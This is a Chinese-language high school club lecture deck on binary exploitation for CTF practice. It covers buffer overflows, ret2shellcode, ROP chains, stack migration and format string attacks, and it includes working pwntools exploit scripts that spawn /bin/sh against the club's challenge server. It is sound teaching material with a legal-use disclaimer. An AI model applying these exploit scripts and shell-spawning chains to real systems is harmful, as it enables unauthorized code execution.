# 實中資研社社課
# pwn 從入門到進階
~~pwn從入門到入獄~~
---
### 廣告時間
----
### 國雲網路
我們很多機器都是透過他們的vps架設的

----
### 七維思資安
社團dc裡面那位熱心的飛飛老師的資安教育公司

---
### 免責聲明
:::info
社團活動當中所學習的工具、弱點、攻擊手法等僅供資安知識的學習,若在課程後想做相關練習,請在合法的CTF平台上進行測試,如對外有相關攻擊行為,皆與本人與實驗中學資訊研究社無關
:::
不要去犯法喔><
---
### what is pwn?
----
#### wikipedia

----
but...
現在比較多是指執行檔漏洞利用
然後基本的逆向工程要會
---
### netcat
----
netcat(在linux裡面簡稱nc)可以快速建立快速的tcp/udp的連線
而在pwn的題目多數也是netcat
----
### Example
```bash
nc 23.146.248.20 10001
```
---
### 逆向工程的小複習 ><
---
### 執行檔架構
----
全域/執行的東西
- Text:程式碼的部分。可讀,不可寫,可執行(r-x)
- Data:已初始化的全域變數(for exam, 字串,數字等等的)
- BSS:未初始化的全域變數
----
會一直變的東西
- Heap:由低位往高位疊的動態記憶體空間
- Stack:存放暫時資料(return adress、 區域變數、 參數、 回傳值),由高位往低位拉長,最低位(長到底的地方)會有rbp。
---
### 執行檔保護機制
----
checksec
```bash
checksec --file=./file_name
```
----

----
Arch
執行檔環境架構
常見的有 i386, amd64-64-little
----
RELRO
No RELRO - Link Map、GOT 可寫
Partial RELRO - Link Map 不可寫、GOT 可寫
Full RELRO - Link Map、GOT 皆不可寫
在初階課程裡面這個幾乎用不到
只要不是開了 `Full RELRO`通常問題都不大
----
Stack Canary
如果輸入太多東西到stack上面會改掉裡面的值
canary就是蓋在當下stack最上面的保護
只要值有變就不會return去下一個地址
內建函式:`__stack_chk_fail`
----
PIE
會把所有東西的地址隨機化
方法就是把所有地址都加上一個 `random value`
----
NX
可以寫的東西不能執行,不能寫得可以執行
----
gdb的vmmap可以看bss段資料權限

read/excute/write
---
### nano
- 你寫腳本的好幫手
----
其實我自己在kali上面有安裝 oss code,超方便
但是怕你們討厭裝東裝西就用nano
----
### 一分鐘教學
----
`nano example.py`

----
`ctrl +x`
然後按下Y, enter
就可以存檔了!!!
---
### pwntools
----
### 簡介
----
在打web的時候
可以用python的`requests`套件很方便的寫腳本
在pwn的時候也一樣
如果可以寫腳本取代我們去做重複的動作/鍵盤無法輸入的byte會方便很多
----
### 引入pwntools
```python
from pwn import *
```
----
### 連線
```python
r=remote(ip, port) #遠端連線某個port, ip
r=process(path) # 本地執行某個path的執行檔
```
----
### 輸入
- 讀到某個字串結束`r.recvuntil(b'data')`
- 讀到某個大小結束`r.recv(字節大小)`
- 讀取一行`r.recvline()`
- 讀取多行`r.recvlines(n)`,n是行數
----
### 輸出
- 送出並換行`r.sendline('string')`
- 送出不換行`r.send('string')`
- 變成32, 64位元資料(用在整數)`p32(int), p64(int)`
----
# `WARNING`
pwntools所有東西都要是bytes
所以:
- 'whale' -> b'whale'
- str=str.encode()
----
### 小試身手

----
### Example
```py
from pwn import *
r=remote('23.146.248.20',10001)
s=r.recvline()
print(s)
s=r.recvline()
print(s)
for i in range(500):
s=r.recvline()[:-3]
print(s)
r.sendline(str(eval(s)))
r.interactive()
```
---
### Buffer Overflow
- basic
----
buffer overflow是出現在stack上面的漏洞
----
利用條件:
- 沒有 STACK CANARY 或者值被洩漏
----
**危險的輸入函數**
```c
gets()//不限長度
read()//會有長度限制但不見得是那個變數的長度
......
```
因為他們都可以被輸入超過資料應有長度的內容
----
|data 1|
|---|
|data 2|
|data 3|
|data 4|
|data 5|
|...|
|data N|
----
|data 1|
|---|
|data 2|
|data 3|
|data 4|
|data 5|
|...|
|data N|
`char c[3];` //放在data3~data5
----
but...
|data 1|
|---|
|data 2|
|data 3|
|data 4|
|data 5|
|...|
|data N|
```c
gets(c);
```
----
輸入 `'abc'`
|data 1|
|---|
|data 2|
|`c`|
|`b`|
|`a`|
|...|
|data N|
----
輸入 `'abcde'`
|`e`|
|---|
|`d`|
|`c`|
|`b`|
|`a`|
|...|
|data N|
----
漏洞成因
- 如果是gets函數這種只管輸入不管大小的,那就是直接填入
- 如果是read這種會限制大小的,那就是它的大小-真實變數大小=你能填入的東西大小
----
#### 小試身手

---
### Buffer Overflow
- ret2code
----
利用條件:
- 沒有 STACK CANARY 或者值被洩漏
- 沒有 PIE 或者值被洩漏
----
一樣是buffer overflow,不過每個stack最後面的值都是return address(就是跑完這邊它要去哪個地址)
然後就把它蓋掉就好
----
Stack 完整結構
|ret address|
|---|
|rdp value|
|data 2|
|data 3|
|data 4|
|data 5|
|...|
|data N|
----
所以蓋值的時候要注意把rbp value也蓋掉
----
#### 小試身手

---
### Buffer Overflow
- ret2shellcode
----
利用條件:
- 沒有 STACK CANARY 或者值被洩漏
- 沒有 PIE 或者值被洩漏
- 沒有 NX
----
把shellcode寫入到某個地址
用剛剛ret2code的邏輯ret去那個地址讓它跑
----
shellcode?!
----
pwntools的ASM函數可以自己寫,但礙於我沒教...
(想學得自己去學)
~~絕對不是因為講師也不太會寫組語~~
----
`exploit db`
統整了各種漏洞payload的寶庫
----
打開它

----
選擇shellcode

----
選擇我們的arch

----
找到可以跑 `/bin/sh` 的

----
這個就是我們的RCE shellcode

---
### Buffer Overflow
- ret2libc
----
利用條件:已知對方使用的libc
然後我不打算帶owo
----
方法跟ret2code一模一樣
詳細可以去看我以前的筆記:
https://wha13.github.io/2023/10/12/pwn-note/#BOF-Ret2Lib
---
### ROP
----
利用條件:
- 沒有 STACK CANARY 或者值被洩漏
- 沒有 PIE 或者值被洩漏
----
回想一下 ret2code
如果把很多 ret 串在一起,就可以一直執行我們想要的東西
(只要我們知道它的地址)
----
### syscall table
https://syscalls.w3challs.com/
----
因為有很多種可能,所以其他函數/方法怎麼叫
要自己逆看看 / google 看看
這邊以`execve('/bin/sh')`舉例
----
目的:RCE
怎麼呼叫我們要的`/bin/sh`
----
查看syscall table後發現
```
rax=>0x3b
rdi=>要執行的指令地址(這邊是/bin/sh)
rsi=>argv位置
rdx=>envp位置
```
以現階段來看後兩者可以直接填入0,直接叫 `/bin/sh` 就好
----
最基本的 syscall RCE chain
pop掉之後第一個塞上去的就會變成本來pop掉的東西
----
(stack上面的視角)
```
pop rax;
0x3b;
pop rdi;
command_addr;
pop rsi;
0;
pop rdx;
0;
syscall;
```
然後就可以RCE 啦啦啦
----
實戰演練

----
怎麼找自己想要的 gadget?
~~Trivago~~
----
- ROPGadget
- pwntools
----
ROPGadget
```bash
ROPgadget --binary ./rop0 | grep 'pop rax .*'
```

----
pwntools
```py
from pwn import *
rop=ROP('rop0')
print(rop.rdi)
```

----
寫腳本小叮嚀
可以使用
```py
context.arch='amd64' #可以抽換成i386之類的
```
去定義現在的arch後
用flat函數合併好幾個 gadgets
```py
flat(a, b, c, d, e)
```
----
Exploit
```py
from pwn import *
r=remote('23.146.248.20', 10009)
#r=process('rop0')
rop=ROP('rop0')
context.arch='amd64'
# datas
padding=0x70+8
shellcode=0x004c3300
'''
>>> rop.rax
Gadget(0x4516a7, ['pop rax', 'ret'], ['rax'], 0x8)
>>> rop.rdi
Gadget(0x4018c2, ['pop rdi', 'ret'], ['rdi'], 0x8)
>>> rop.rsi
Gadget(0x40f21e, ['pop rsi', 'ret'], ['rsi'], 0x8)
>>> rop.rdx
Gadget(0x4017cf, ['pop rdx', 'ret'], ['rdx'], 0x8)
'''
# exploit
r.sendline(b'/bin/bash\x00whale&shark')
exploit=padding*b'a'+flat(rop.rax[0], 0x3b, rop.rdi[0], shellcode, rop.rsi[0], 0, rop.rdx[0], 0, rop.syscall[0])
print(exploit, len(exploit))
r.sendline(exploit)
r.interactive()
```
----
小技巧
----
32進和64進差別
64=>syscall
32=>int80
----
遇到不知道怎麼串的函數
1.看本來執行檔怎麼跑的
2.GOOGLE
----
塞`/bin/sh`的時候
要用`/bin/sh\x00`
C語言讀到`\x00`會打住
----
沒有全域變數?
自己往bss段串`get()`之類的東西或者洩漏stack地址
塞shell
gdb-vmmap

----
有些函數有奇奇怪怪的對齊
像是`system`函數被呼叫時地址為16bytes倍數
所以串法會變成
```
pop rdi, addr, ret, system
```
其中那個`ret`可以隨便抓,通常我會拿 `pop_rdi`+1
\*反正就是一個空 return
----
Homework

---
Stack Migration
----
有時候可以填入的byte不夠
不過如果可以在某個地方先寫好 ROP CHAIN那就可以把stack搬過去那個地方
這就叫Stack Migration
----
`leave`
一個asm的指令,也是 stack migration的重點
```
mov rsp, rbp
pop rbp
```
會使你在下一步也可以控制RSP
(stack的地址是由rsp跟rbp一頭一尾控制的)
----
唯一需要注意的是
在那裏寫ROP CHAIN的時候前面要先塞8個bytes
(amd64)
因為你要改寫掉一個rsp address
----
總的來說,攻擊鍊就變成:
把rbp變成你寫好ROP CHAIN的address
接著再`leave`
----
實戰演練

----
```py
r=process('./rop1')
r=remote('23.146.248.20', 10010)
rop=ROP('./rop1')
context.arch='amd64'
# datas
'''
自己找
'''
# exploit
payload1=flat(1004120, pop_rax, 0x3b, pop_rdi, shellcode, pop_rsi, 0, pop_rdx, 0, syscall, b'/bin/sh\x00') # rop chain
print(payload1, len(payload1))
r.sendline(payload1)
r.sendline(b'rahwhale'*2+flat(shell, leave))
r.interactive()
```
---
Format String Attack
----
漏洞成因
使用printf函數直接輸出使用者提供字串
----
what is format string?
```c
printf("%d:%d", 1, 2);
//1:2
```
----
讀值(hex)
%{n}$p
n代表它在stack上面是第幾個項目
前五個會是寄存器值,所以要從第六個開始戳
----
順序就是它在你當下stack上面的順去
如果無法通靈可以使用gdb的stack指令來看
----
小技巧:
什麼都不知道就一直打 %p就可以順著洩漏資料
```cpp
%p%p%p%p%p%p%p%p%p%p
```
----
實戰演練

----
寫值
%{amount}c%{number}$hhn
hhn是一個byte
---
`rand()`
----
其實只有一件事
`srand`會規範種子,如果連這個都沒有那每次rand結果固定
如果是time的話那可以在本地寫一個一模一樣的用 && 同時執行自己的腳本跟連線去對答案
(可能會需要+1秒之類的)
---
Stack 改值
----
有機會改掉某個array任意編號元素時就等於可以改掉整個stack上面的東西
{"title":"實中資研社社課 pwn 從入門到進階","contributors":"[{\"id\":\"4aa04276-c8ec-490d-a620-ec3b4e8e3d7c\",\"add\":8734,\"del\":306}]","description":"pwn從入門到入獄"}